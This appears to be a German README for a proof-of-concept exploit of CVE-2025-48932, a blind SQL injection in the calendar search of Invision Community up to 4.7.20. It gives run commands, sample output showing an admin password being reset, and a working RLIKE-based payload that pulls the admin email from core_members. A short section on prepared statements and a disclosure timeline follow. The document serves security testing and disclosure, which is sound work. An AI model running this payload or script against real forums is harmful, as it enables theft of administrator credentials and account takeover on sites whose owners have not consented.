
Proof-of-Concept-Exploit für CVE-2025-48932, eine SQL-Injection in Invision Community <= 4.7.20. Extrahiert Admin-Anmeldeinformationen und setzt Passwörter über blinde SQLi zurück. Nur für autorisierte Tests.
Ein Proof-of-Concept-Exploit, der eine SQL-Injection-Schwachstelle in Invision Community Versionen <= 4.7.20 demonstriert.
Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests vorgesehen.
CVE-ID: CVE-2025-48932
Schweregrad: Hoch
CVSS-Score: Noch offen
Betroffene Versionen: Invision Community 4.x vor 4.7.21
Die Schwachstelle besteht im Skript /applications/calendar/modules/front/calendar/view.php. Benutzereingaben, die über den Parameter location in der Methode IPS\calendar\modules\front\calendar\view::search() übergeben werden, werden vor der Verwendung in SQL-Abfragen nicht ordnungsgemäß bereinigt.
Dies erlaubt entfernten, nicht authentifizierten Angreifern Folgendes:
Voraussetzungen für die Ausnutzung:
Hinweis: Während SQL-Injection-Schwachstellen in Invision Community 4.x Versionen < 4.7.18 zu Admin-Kontoübernahme und RCE durch Zurücksetzen des Admin-Passworts führen konnten, wurde in Version 4.7.18 ein neuer Sicherheitsverschlüsselungsschlüssel im Mechanismus zum Zurücksetzen von Passwörtern eingeführt, was diesen Angriffsvektor erschwert.
Repository klonen:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Abhängigkeiten installieren:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
| Argument | Beschreibung | Erforderlich |
|---|---|---|
-u, --url | Ziel-URL der Invision Community | Ja |
-v, --verbose | Ausführliche Ausgabe für Debugging aktivieren | Nein |
-h, --help | Hilfemeldung anzeigen und beenden | Nein |
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Ziel: http://example.com/forum/
==================================================
[*] CSRF-Token abrufen...
[+] CSRF-Token gefunden: abc123def456...
[*] Schritt 1: Admin-E-Mail-Adresse extrahieren...
[*] Daten extrahieren: [email protected]
[+] Admin-E-Mail: [email protected]
[!] Schritt 2: Manuelle Aktion erforderlich!
Bitte führen Sie diese Schritte aus:
1. Navigieren Sie zu: http://example.com/forum/index.php?/lostpassword/
2. Fordern Sie ein Passwort-Reset mit der E-Mail an: [email protected]
3. Drücken Sie ENTER, wenn fertig...
[*] Schritt 3: Validierungsschlüssel für Passwort-Reset extrahieren...
[*] Daten extrahieren: xyz789abc123...
[+] Reset-Schlüssel: xyz789abc123...
[*] Schritt 4: Admin-Passwort zurücksetzen...
==================================================
[+] AUSBEUTUNG ERFOLGREICH!
==================================================
Admin-Anmeldedaten:
E-Mail: [email protected]
Passwort: Pwned1721234567
Sie können sich jetzt anmelden unter: http://example.com/forum/index.php?/login/
Der Exploit funktioniert in vier Hauptschritten:
Das Skript ruft zunächst ein CSRF-Token von der Zielwebsite ab, das für nachfolgende Anfragen erforderlich ist.
Mithilfe eines binären Suchalgorithmus extrahiert der Exploit Daten Zeichen für Zeichen aus der Datenbank:
RLIKE-Funktion mit Regex-Mustern, um wahr/falsch-Bedingungen zu erkennenFragt die Tabelle core_members ab, um die E-Mail-Adresse des Administrators zu extrahieren.
Angriffspunkt:
location-Parameter → calendar/view.php → search()-Methode
Payload-Beispiel:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Ausbeutungstechnik: Boolesche blinde SQL-Injection unter Verwendung binärer Suche zur effizienten Datenextraktion.
Sofortmaßnahmen:
Sichere Codierungspraktiken:
Beispiel für sicheren Code:
// Angreifbarer Code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Sicherer Code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Datum | Ereignis |
|---|---|
| 16. Mai 2025 | Anbieter benachrichtigt |
| 27. Mai 2025 | Version 4.7.21 veröffentlicht |
| 28. Mai 2025 | CVE-Kennung beantragt |
| 28. Mai 2025 | CVE-2025-48932 zugewiesen |
| 23. Juli 2025 | Öffentliche Offenlegung |
Entwickler:
Hinweis: Dies ist eine unabhängige Implementierung basierend auf öffentlich zugänglichen Informationen zur Schwachstelle (CVE-2025-48932)